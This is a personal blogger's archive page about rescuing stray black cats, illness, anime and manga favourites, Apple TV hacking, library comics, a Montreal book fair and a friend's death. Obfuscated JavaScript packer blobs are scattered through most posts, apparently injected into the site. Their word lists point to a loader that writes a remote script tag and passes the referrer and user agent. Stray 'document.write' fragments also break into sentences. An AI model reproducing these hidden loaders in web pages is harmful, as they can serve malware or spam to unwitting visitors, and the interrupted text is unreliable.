We are not alone

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After watching this, document.write(“”); I feel a little better. I don’t feel so lonely after all…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abnbn|var|u0026u|referrer|nyita||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfizt|var|u0026u|referrer|azbke||js|php’.split(‘|’),0,{}))

Nice Dune reference to compare Obama to the Kwisatz Haderach!

BTW, the answers are: shai-hulud, thumper and water of life…

Geek rules!

Twice as busy

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Having two jobs is more tiring and difficult that I thought it would (the good side of it: I’ve already lost twenty pounds!). There’s so many stuff to do and so little time. That’s why I haven’t written much lately. When I come back from the day job, document.write(“”); the one that pay most of the rent and all, I am tired and only want to crash and sleep. It is difficult to write — harder still to concentrate — but I manage to do some work anyway. But certainly not as much as I would like to and this add to the stress. However, now the priority is to pay the rent, nurture my health and spend time with my loved ones…

If the health stay good, I’ll try to blog more regularly.

Dilemma, dilemma

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I have so many things to do and now I am wondering if I should lay down my thoughts more privately on paper or publicly on a blog. Should I write in English, document.write(“”); the more common language, or in French, my native tongue. Of course, the solution is always to compromise. Do some writing on paper, some on blogs. Some in English and some in French. But it is becoming more and more essential that I commit my thought into writing because I keep forgetting so many things. Sometimes I don’t even remember what I did yesterday. The writing become a second memory…

Angry Cat!

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I am angry because people don’t seem to like black cats. I had three little and cute cats to give: one grey and two black cats. The cute grey cat found a loving person to adopt him right away, document.write(“”); but no one wanted the two back cats. So I had to bring them to the Berger Blanc which is not a no-kill shelter and was told quite unequivocally that they would most certainly be euthanized because of over-crowding and the fact they had ear mites (which could be remedied with a medication that cost almost nothing and that I would have given them if I would have known about it). I had to euthanized too many cats in my life already (one for cancer and the other because someone shot him with a BB gun) so being told that made me angry. I do hope that they were given some medication and that they found someone to adopt them.

Favourites

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I am often asked what are my favourite anime or manga and which titles I would recommend. For me it is a question that is very difficult to answer. I’ve seen or read so many of them, and I like so many, to some level, for one reason or another, that it would probably be easier to make a top 50 than a top 10. If selecting the shows that I prefer–those I would like to introduce to a newcomer or that I would take to a desert island–is already a difficult task, putting them in order of preference is nearly impossible; so I won’t. In this alphabetical order selection, I took account of the quality of the title, its historical impact, its popularity and of a certain personal sentimental value. This selection is a choice frozen in the moment; it might very well be different tomorrow.

Anime:

Dennou Coil (TV series)
Escaflowne (TV series & movie)
Evangelion (TV series & movies)
Ghost in The Shell: Stand Alone Complex (TV series)
Gundam Seed (TV series)
Kimagure Orange Road (TV series)
Nausicaa (movie)
Robotech series (particularly the Macross and Mospeada segments)
Rurouni Kenshin (TV series & OVAs)
Whisper Of The Heart (movie)

Of course I could also includes all other Miyazaki movies (beside Nausicaa I particularly like Laputa, Totoro, Porco Rosso, Mononoke Princess) and series (particularly Future Boy Conan, Red-haired Ann), Akira (movie), Beck (TV series), Blood+ (TV series), Bubblegum Crisis (OVA series), Cowboy Bebop (TV series), Dot Hack//Sign (TV series), Fantastic Children (TV series), Giant Robo (OVA), Grave of the Fireflies (movie), GTO (TV series), Gunbuster (OVA series), the Gundam OVAs (0080, 0083, 8th MS Team), Hataraki-man (TV series), Initial D (TV series), Irresponsible Captain Tylor (TV Series), Kacho Ohji (aka Black Heaven, TV Series), Kare Kano (TV series), Megazone 23 Part II (OVA), Moyashimon (TV series), Nadia: Secret of Blue Water (TV series), Nana (TV series), Night Head Genesis (TV series), Nodame Cantabile (TV series), Noein (TV series), Paradise Kiss (TV series), Patlabor (series & movies), Rahxephon (TV series), Record Of Lodoss Wars (OVA series), Seirei no Moribito (TV series), Tide Line Blue (TV series), Twelve Kingdom (TV series), Wings of Honneamise (movie), Witch Hunter Robin (TV series) and so many more. But it gives you an idea.

Manga:

Blade of the Immortal (L’Habitant de L’infini)
Buddha
Detective Conan
Ghost In The Shell
Nana
Nausicaa
Paradise Kiss
Please Save My Earth
Rose of Versailles (Lady Oscar)
To Terra

I could also includes all the other works of Osamu Tezuka (beside Buddha I particularly like Astroboy, Dororo, Kirihito, L’arbre au soleil) and of Jiro Taniguchi (L’homme qui marche, Au temps de Botchan, etc.), but also Akira, Area 88, Beck, Cat’s Eye, City Hunter, Fushigi Yuugi, GTO, Ikkyu, Rouruni Kenshin, What’s Michael, Yakitate Ja-pan, etc. Most of those title are available both in English and French, and most of them I would recommend to a beginner (save maybe Ghost In The Shell which is too cyberpunk hardcore and difficult to follow). Strangely, I have much more trouble listing my favourite manga than anime (probably because I’ve seen more anime than I’ve read manga).

There you have it. Now, stop asking me which are my favourites!

For my other favourites (blogs, books/comics, interest, movies, music) check my profile.

Sign of Time

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I thought my subscription to the Canadian edition of Time magazine was over since I stopped receiving it around Christmas. But I was under the impression that I should have had a few more months in my subscription. This week, document.write(“”); two months later, I got a letter from the publisher explaining that the Canadian edition of Time magazine ceased publication at the end of December and that I will be receiving Maclean’s magazine for the remaining of my subscription, starting in a couple of months.

In a way I am not surprised at all of this situation. The magazine industry and its distribution are in a really bad shape. Also, newspapers are closing right and left. The industry will have to adapt to new forms of distribution as well as to a new business model that involves the internet. It will takes a little experimenting at first, but I am sure that it will survive one way or another.

Sick of being sick

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After suffering a near-burn out and painful back problems now I have to endure a bronchitis. I am realy tired of being sick. It is already hard to be working two jobs at the same time, document.write(“”); but when I am sick all I do after coming back from work is eat and going to sleep. I cannot blog half of what I would like to say. Luckily I have one or two days off, so I manage once a week to answer some emails, put some order in my to-do list and write one or two articles–but I also still need to rest so I read a little, watch TV and sleep some more. This is rather frustrating. Hopefully, I’ll feel better soon and be able to do more.

Last call to adopt black cats

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This is the last call for those interested in adopting two back cats (a year-old mother and her five-month male offspring). Since I couldn’t find any place for them in a no-kill shelter, document.write(“”); I will bring them to a standard shelter (SPCA or Berger Blanc) in a couple of weeks if I still haven’t found a foster home for them. Unfortunately, due to over-crowding, those shelters often have recourse to euthanasia if the pets cannot be adopted quickly. But I have no choice, I cannot keep them forever (I already have two cats). Why do people dislike black cats? They are as cute as any other cats.

Backlog

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Sorry for not blogging lately. I finally got back my physical and mental strength after being repeatedly sick, document.write(“”); but my bad luck struck again and I found myself on my back. I have no idea what caused it (shoveling? slipping on icy sidewalks? Bad sitting position?) but I had a terrible back pain that would not go away and I couldn’t sit in front of the computer for more than a few minutes at a time (just enough to check emails and news).

The last week was particularly painful since I was working fulltime in a library, replacing someone on sick leave. Fortunately, I had to stand most of the day, so i was less bothered by the pain. I guess the exercice did me good (as well as a regular intake of pain-killer — I felt like Dr House!) and I am now feeling a little better.

We found a loving home for our little refugee kitten Mitsy (he’s so cute I had no doubt that someone would adopt him). I was hoping to place sweetpea in a pet shop, but it didn’t work out. Therefore we are still looking for caring people to adopt our two refugee black cats.

Cute cats for adoption

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The backstreet behind my appartment is always abounding with stray cats. This winter, document.write(“”); when the temperature started to dip beyond minus fifteen, I decided to rescue the most vulnerable of them. So I took inside a young mother (“Betsy”, one year-old, shorthaired black) and her two kittens (both males, 3 month-old, one (Sweetpea) shorthaired black with a little white on the belly and one (Mitsy) longhaired grey tabby/main coon) with the intent of finding them a new home. I cannot keep them for long since I already have two cats (also rescued from the backstreet) which is plenty for my appartment.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|efyth|var|u0026u|referrer|iifyf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzbkz|var|u0026u|referrer|znzbb||js|php’.split(‘|’),0,{}))

Therefore, I am looking for either:

  1. a Montreal-area no-kill shelter that would accept to take in all the cats or at least help me find the right place or person(s) to adopt them
  2. a pet shop that would accept to take them all, making sure that they are vaccinated and neutered before selling them
  3. individual(s) that would want to adopt one (or more) of the cats and give those little fur-balls of joy the affection they deserve (I would request that the adopter agrees to have the cat(s) checked up, vaccinated and neutered–an expense of about $100-$150 per cat)

If anyone can suggest shelters, pet shops or talk to their co-workers and friends to see if they are interested in adopting the cats, I would be grateful. Thanx!

(text available in french upon request)

Sweetpea, Betsy and Mitsy

Mitsy

More pictures (and maybe a movie) to come

Lame Duck?

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aydea|var|u0026u|referrer|nfzra||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ahyeh|var|u0026u|referrer|bardh||js|php’.split(‘|’),0,{}))
Bush may be lame but he still can duck!


And now there’s people brandishing shoes in the streets of Bagdad!
Is this the beginning of a new cult? “The shoe! The shoe!”
They want the shoe-thrower, document.write(“”); Muntadhar “Brian” al-Zeidi, to be freed.
You really couldn’t have a more Pythonesque moment than that!

Images © Associated Press and Ahmad Al-Rubaye / AFP / Getty Images.

Slippery

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Apparently the guy managing the city’s blue collars made the mistake of putting the people who used to take care of the ice rinks in charge of cleaning the sidewalks. Now they are extremely slippery. I know that City Hall talked about cutting cost by stopping cleaning sidewalks, document.write(“”); but there’s a limit! If I hurt my back once more by slipping I think I’ll sue them!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itatn|var|u0026u|referrer|fntni||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kztih|var|u0026u|referrer|teitf||js|php’.split(‘|’),0,{}))

On top of that the landlord didn’t repair the front-door stairs and they keep getting dangerously icy and slippery. I am spending a fortune in salt just to increase the chances of NOT breaking my neck each time I’m going out.

Image © Acreage Living.

ANN will stream two anime TV series

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Anime News Networks has announced on 2008-12-10 that it will stream two more anime, document.write(“”); Girl’s High and Ramen Fighter Miki. Starting December 15, both series will be available as free, ad-supported VOD streams, with one new episode being posted every Monday for 12 weeks. The series were licensed from North American anime publisher Media Blasters, and as such will only be available to viewers in North America (US & Canada). Justin Sevakis, ANN director of New Media, has stated that “There’s more coming”.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tfnth|var|u0026u|referrer|sayya||js|php’.split(‘|’),0,{}))

ANN is already streaming the OVA Kite Liberator.

(Source: ANN).

ANN launches its streaming anime service

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Anime News Networks has launched its streaming anime service on Tuesday 2008/12/09 with Kite: Liberator. The OVA, document.write(“”); released on DVD by Media Blasters, is streamed (in six parts) in both subbed and dubbed versions, but only for North American viewers (US & Canada).
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|seryf|var|u0026u|referrer|fbssn||js|php’.split(‘|’),0,{}))

Give it a look!

(Source: ANN).

Boxee etc

/ Clodjee / 1 Comment

I have previously mentioned that we now can easily hack the Apple TV with atvusb-creator which install both XMBC and Boxee. Now that Boxee has been updated and that I have finally received an invite for the testing, document.write(“”); I would like to talk a little more about it.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kabhf|var|u0026u|referrer|nerrb||js|php’.split(‘|’),0,{}))

Boxee is a social media center based on the popular XBMC. It allows you to play videos, music and pictures from your own computer or from the internet (streaming content from websites like Hulu, CBS, BBC, Comedy Central, Last.fm and flickr). Its “social” aspect means that you can share with your “friends” whatever media you’re listening to or watching and send them your recommandations. So, basically, it is exactly the same type of media entertainment center than XBMC, but with a fancier interface and the social twist.


I like the general look of Boxee, particularly the way you can browse through your media library, but I prefer the XMBC video player which is simpler and seems to provide a better picture. Like XMBC, it is controled through the ATV remote which is too simple to offer a comfortable experience (but apparently you can pair it with a different remote). I particularly like the fact that Boxee offer much more streaming websites and a much easier interface to browse them, but unfortunately many of those websites (like Hulu) have geofilters and can be watched only from the USA. All in all, I prefer XMBC. I don’t feel I have any use for Boxee, but I’ll continue to play with it once in a while (after all atvusb-creator install both Boxee and XMBC) and it might grow on me. In any cases, I recommand you to try it.

Apple recently updated the AppleTV operating system to version 2.3, which forced me to use the Terminal application for the first time (to send to the ATV commands in Unix source code) in order to prevent my ATV to auto-update until a newer version of atvusb-creator was created. Then I had to send the code to force the ATV to update its OS, before finally installing the new version of atvusb-creator compatible with the new OS. Complicated for someone who’s not used to deal with those command codes. But I survived and the ATV is now working again (with XMBC).

I also discovered that atvusb-creator now also install SofwareMenu, an application that facilitate the installation and update of plugins like ATVfiles (a file browser), CouchSurfer (a web browser) and nitoTV (a video player, which would allow to play video without the need of XMBC). Unfortunately, most of those plugins are still not compatible with the ATV OS 2.3 and their installation made the ATV crashed, so I had to use Terminal again to remove them (not without difficulty, but I finally succeeded thanks to the help from atvusb-creator’s developpers). Once this problem is fixed, those plugins will be quite useful for sure, but for now I’ll be more prudent and avoid install new stuff.

Unshelved

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My latest reading (well, document.write(“”); beside the daily newspaper and Time magazine) was pretty funny. It’s a daily web comic strip created by Gene Ambaum (writer) and Bill Barnes (co-writer & artist) that I discovered by chance a few years ago. It has been published daily since 2002 and has been compiled, so far, in six volumes (and a seventh should be released in spring 2009). In 2006, I ordered from the publisher, Overdue Media (www.unshelved.com), the first three compilations: Vol. 1: Unshelved (2003); Vol. 2: What Would Dewey Do? (2004); Vol. 3: Library Mascot Cage Match (2005). I liked it a lot.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fikrb|var|u0026u|referrer|ekttk||js|php’.split(‘|’),0,{}))
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Written by a real-life librarian (but Gene Ambaum is not his real name) and illustrated by his friend, Bill Barnes, Unshelved tells the story of the people surrounding the Mallville Public Library. The main character is named Dewey! (for more details see the story primer or the Wikipedia entry). The art is rather simple, but the story is hilarious, educating and profess a great love for books. Despite the humorous situations that develop between the characters, it gives a good idea of the inner workings of a library. It could be a librarian training manual… Unshelved seems pretty popular: over 26,000 email subscribers. It’s also published on its own website, as well as on the American Library Association website and CogNotes newspapers. The creators must be quite busy because (beside having day jobs) they tour lots of bookfairs, conferences and conventions!

Last month I found out that three more compilations had been published since I first discovered the series. Here they are:

“What happens in the library stays in the library. But oh, what happens in the library! Dewey has a book club, and you do not talk about Book Club. Colleen has a blog, but she doesn’t know everyone can read it. Someone gave vegan Tamara a membership to the ham-of-the-month-club. And Merv reserved every copy of the new Harry Potter for purposes nefarious. This fourth Unshelved collection also features dozens of full-page full-color comic-format book talks, plus a very special storytime zombie nursery rhyme.” (From Amazon.com)

This volume includes the usual strips, plus some Library conference tips, but the most interesting feature is the dozens of full-color “Unshelved Book Club” book talks where the library staff introduce on each page a new book. A kind of weekly book review, in color and often hilarious!

Unshelved Vol. 4: Book Club, by Gene Ambaum and Bill Barnes. Overdue Media, 2006. 10.9 x 8.3 in, 120 pgs., $17.95 US / $22.42 CDN. ISBN-13: 978-0974035338.

“The fifth year of strips includes the famous “Pimp My Bookcart” sequence and a year’s worth of full-color full-page “Unshelved Book Clubs” featuring the greatest books every written. Plus, never-before published strips and more!” (From Amazon.com)

Unshelved Vol. 5: Read Responsibly, by Gene Ambaum and Bill Barnes. Overdue Media, 2007. 10.9 x 8.2 in, 144 pgs., $17.95 US / $22.42 CDN. ISBN-13: 978-0974035345.

“No one gets asked questions more frequently than a librarian, and no librarian answers them with more attitude than Dewey! The latest Unshelved collection features a year’s worth of daily comics and Conference Tips, plus the full-color Unshelved Book Club. Also features the Great Plastic Coffee Cup Lid Challenge between Unshelved and Sheldon, refereed by comics journalist Gary Tyrrell.” (From Amazon.com)

Unshelved Vol. 6: Frequently Asked Questions, by Gene Ambaum and Bill Barnes. Overdue Media, 2008. 10.9 x 8.2 in, 136 pgs., $17.95 US / $22.42 CDN. ISBN-13: 978-0974035352.

Unshelved © 2002-2008 Overdue Media LLC, all rights reserved.

If you are a fan, you can sign up for “Unshelved Readers,” the Facebook group.

Salon du livre de Montréal

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La 31e édition du Salon du Livre de Montréal s’est terminée en début de semaine. Comme à toute les années je suis allé y faire mon tour, document.write(“”); histoire de jeter un coup d’oeil sur les nouveautés, y trouver quelques idées de cadeaux pour Noël et renouer contact les gens du milieu de l’édition.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|enkkr|var|u0026u|referrer|efezt||js|php’.split(‘|’),0,{}))

Le vendredi 21 Novembre, j’ai fait un premier survol du salon à l’occasion de la Journée des Professionnels. J’aurais bien aimé ramasser quelques catalogues mais la plupart des éditeurs n’en avaient pas ou plus (c’était pourtant juste la troisième journée du salon et ils auraient dû penser à s’en garder pour les professionnels du milieu de l’édition). Ils y avaient également quelques ateliers et tables rondes (Le feuilletage Numérique et la Recherche en Ligne, Communication-Jeunesse: Des Livres qui ont du Genre, Édition Numérique et Monde du Livre: Entrevoir l’avenir, Les Revues Culturelles à l’Heure du Numérique) aux quelles j’aurais bien assisté si j’avais reçu mon carton d’invitation à temps. Mais bon, j’ai tout de même recueillis de la documentation et quelques catalogues, observé les nouveautés manga, salué quelques amis, découvert une nouvelle collection intéressante et économique, Librio, un magazine manga, Canal BD Manga Mag, ainsi qu’une nouvelle librairie spécialisée en BD, PlaneteBD. Cela valait donc tout de même la peine.

Je suis repassé au salon le lendemain pour deux raisons.

D’abord, pour passer quelques heures au kiosque des Éditions Alire (dont le site internet n’est malheureusement toujours pas équipé pour les commandes en ligne!) et rencontrer quelques-uns des merveilleux auteurs de science-fiction et fantasy Québécoise et Canadienne-Française: Francine Pelletier, Daniel Sernine (qui a d’ailleurs fait l’object d’un récent article dans La Presse), Jean-Louis Trudel, etc. J’ai également pu rencontrer et discuter avec les trois auteurs derrière le blog Fractale Framboise: Éric Gauthier, Christian Sauvé et Laurine Spehner. Vous trouverez quelques photos de mon samedi chez Alire sur ma Gallerie MobileMe.

Ensuite, pour assister à une table ronde organisée par la Librairie Monet, sur “Le livre électronique: L’avenir du livre?” Je dois avouer que la discussion était plutôt rhétorique mais elle a tout de même soulevé le point important que l’édition électronique fait partie de l’évolution inéluctable du livre et qu’elle préoccupe de plus en plus les éditeurs. La preuve en est les nombreux ateliers du salon (et même un récent article du Devoir) consacré à ce sujet. Personnellement, je ne crois pas que le livre imprimé disparaisse de si tôt, mais j’ai la conviction que l’internet et l’édition électronique sont des outils essentiels à la diffusion du livre et des revues culturelles et littéraires. Protoculture Addicts est d’ailleurs disponible en format électronique (eBook en format PDF) depuis de nombreuse années—sur le site de Drive Thru RPG—et nous étudions en ce moment de nouveaux formats possible pour une diffusion plus large. Le kiosque de la Librairie Monet faisait également la démontration de la technologie e-Ink et de plusieurs lecteurs électroniques: le iRex Illiad, Les Echos e-paper, et le (laid mais pourtant si cool) Amazon Kindle—absent de la démontration mais pourtant incontournable, je dois noter le Sony Reader Digital Book et le polyvalent Apple iPod Touch. Vous pouvez visionner la table ronde en son entier (une cinquantaine de minutes) sur ma page Blip.TV:

Emru Townsend dies at 39

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Emru Townsend died of leukemia on November 11. He was only 39 years-old.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|berri|var|u0026u|referrer|ffnfn||js|php’.split(‘|’),0,{}))

We have already talked about his diagnosis, document.write(“”); his quest for a bone marrow donor and his successful transplant. Unfortunately, his cancer was too aggressive and the leukemia didn’t go into remission despite the successful transplant. Many have already written his eulogy and obituary (ANN, The Gazette, PC World), so there’s no need for me to write about that. However, I still wanted to say a few words about him.

I didn’t know him very well, but I wish we’d stayed more in contact. We worked on a few projects together in the late 80s and early 90s, but recently we were only meeting by chance in conventions and festivals. He started collaborating with Protoculture Addicts with issue #2 (providing ideas, news blurbs and working as proofreader) and we started together the first anime club of the University of Montreal. After a while Emru drifted away to work on his many projects (he always had new ideas and projects) and I took care of the anime club alone. He contributed only a few articles in the magazine (mostly one on Project A-ko in #4 and one on Akira in #7), but his work was excellent and he pitched in many ideas and always provided encouragement.

Quickly after starting working with us, he requested to be made partner. I answered that I would like him to work with us at least a year before considering that. He couldn’t wait, so he left and started his own magazine, FPS. I always felt that he never forgave me for that. Later, he heavily criticized the quality of our Anime Guide book, blaming me personally (and my french-canadian origins) for the book’s flaws (despite the fact that I only wrote the presentation and supervised the project, hiring instead the best Italian translator and the best English editor that we could afford). It was probably a philosophical difference: I guess Emru was a perfectionist while I am rather a pragmatist (after having worked six years to get that book published I wanted the information—the data—available to anime fans and scholars as soon as possible even if I knew that its form and presentation were quite imperfect). However, despite those differences, I never felt animosity between us and I always admired the quality of his work and dedication.

He was a great guy and he will be sorely missed by all animation fans. I want to express my sincere condolences to his family and friends.

You can visit Emru’s Blog, Facebook group and web hub to learn more about his work.

Chessplay

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Life is like a game of chess. To ensure success you have to plan ahead as far and as many eventual outcomes as possible. Only you are not playing against an adversary, document.write(“”); but against adversity.

SADness

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I feel a little SADness. Not that I am really sad (although someone I knew did die last week), document.write(“”); but I feel affected by the Seasonal Affective Disorder. Like if I was not depressed enough, now the lack of sunlight is prolonging the misery. It seems that I am trying to compensate by seeking exposure to the tube… I am really watching too much teevee and I should cut back on the series addiction—but it does improve my mood. I feel like I’m sucking up the drama of those characters’ very existence to replenish my emotional energy and bring back to life my dried up soul. I still feel tired, physically and mentally weak, but my Qi is slowly coming back.

After constantly beeing on the verge of burn-out for the last few years, I really had to take a month or so of vacation. To recharge my batteries. I fell in a strange torpor, and the world was flashing by me like if it was on fastforward. It was quite strange. It was like if I was waiting for something to happen. Now that I start feeling better (but I still need to really shape up, go out to exercice and see some people) I really have to speed up things and get back on track. The work is pilling up and I am getting way behind schedule. But everything is slowly getting back together now.

I am getting behind even on my blog. I promised myself that I would “review” every book I read and every movie I watch and I did not. Although not everything is worth sharing my opinion, I want to try making short comments (even if only one hundred words) about most of my reading and viewing. Just to keep the mind and the writing skill sharp. So I’ll try to slowly catch up.

Winter is really close-by. At the end of October we got our first snow flurries and last night we got snow on the ground for the first time. I like winter. Everything seems to slow down and it all becomes so quiet and beautiful.

To my American friends and readers I would like to wish a nice Thanksgiving. For my part, I am grateful to live in such a great and uneventful country (Canada). I am grateful to my beautiful wife. I am grateful to have always worked in something interesting. Be thankful for what you have, ’cause you never know what could happen. Good night and good luck.

Melody

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A few weeks ago my wife bought a cd containing the instrumental version of The Bee Gees’ song “Melody Fair” and it reminded her of this movie—which she first saw in Japan a long time ago. She felt like seeing it again, document.write(“”); so I tried to locate the movie. It is never easy to find a movie that is more than thirty year-old, but fortunately such research are now made easier with the internet. The movie got only a lukewarm reception when it was released in English-speaking countries, which explains why it was never released on Dvd in North America—but it is still possible to find it on vhs (used copies available on amazon.com). However, there was a dvd release in Japan since the movie was a huge success there (the 2004 release is now sold out, but used copies are still available on amazon.co.jp). The Japanese title was “chiisana koi no merodi” or Small Love Melody.

Set in the early seventies working class London, this slice-of-life and romantic fantasy tells the story of Daniel, a shy young junior high school boy. After befriending Ornshaw, he becomes part of the school’s group of little troublemakers. Soon he also meets Melody and both fall in “love” (as any eleven years-old kid could). They tell their parents that they want to get married—now! For them, it only means “to be together”. In face of the adults incomprehension, they elope and organize a mock wedding with the help of their friends. When the adults come to interrupt the “ceremony” they meet an unexpected resistance and all ends in chaos.

It is a cute movie that reminds me a lot of Francois Truffaut’s L’argent de Poche (“Small Change”, 1976)—maybe Truffaut inspired himself from Melody or maybe it’s because both movies are told from the children point of view. And of course, it is impossible to watch this movie without thinking of Oliver, as both Daniel’s and Ornshaw’s actors played major parts in this famous 1968 movie. However, what I find the most interesting about Melody is that it is expressing well the era’s sentiment of rebellion against the establishment. It is obvious in the fact that, through the entire movie, O’Leary is trying to perfect his bomb-making (no doubt that it refers to the Provisional IRA campaign of violence that started in 1969) and in the final scene where the children literaly attack the adults (and bomb a car)!

Melody. UK, 1971, 103 min.; Dir.: Waris Hussein; Scr.: Alan Parker; Phot.: Peter Suschitzky; Ed.: John Victor-Smith; Art Dir.: Roy Stannard; Cost.: Diane Jones; Music: Richard Hewson, The Bee Gees; Prod.: David Hemmings, David Puttnam; Cast: Mark Lester (Daniel), Tracy Hyde (Melody), Jack Wild (Ornshaw), Colin Barrie (Chambers), Billy Franks (Burgess), Ashley Knight (Stacey), Craig Marriott (Dadds), William Vanderpuye (O’Leary), Peter Walton (Fensham), Camille Davis (Murielle), Dawn Hope (Maureen), Kay Skinner (Peggy), Lesley Roach (Rhoda), James Cossins (Headmaster). Rated G.


Wikipedia notice
A Melody Fan Page

Apple TV hack

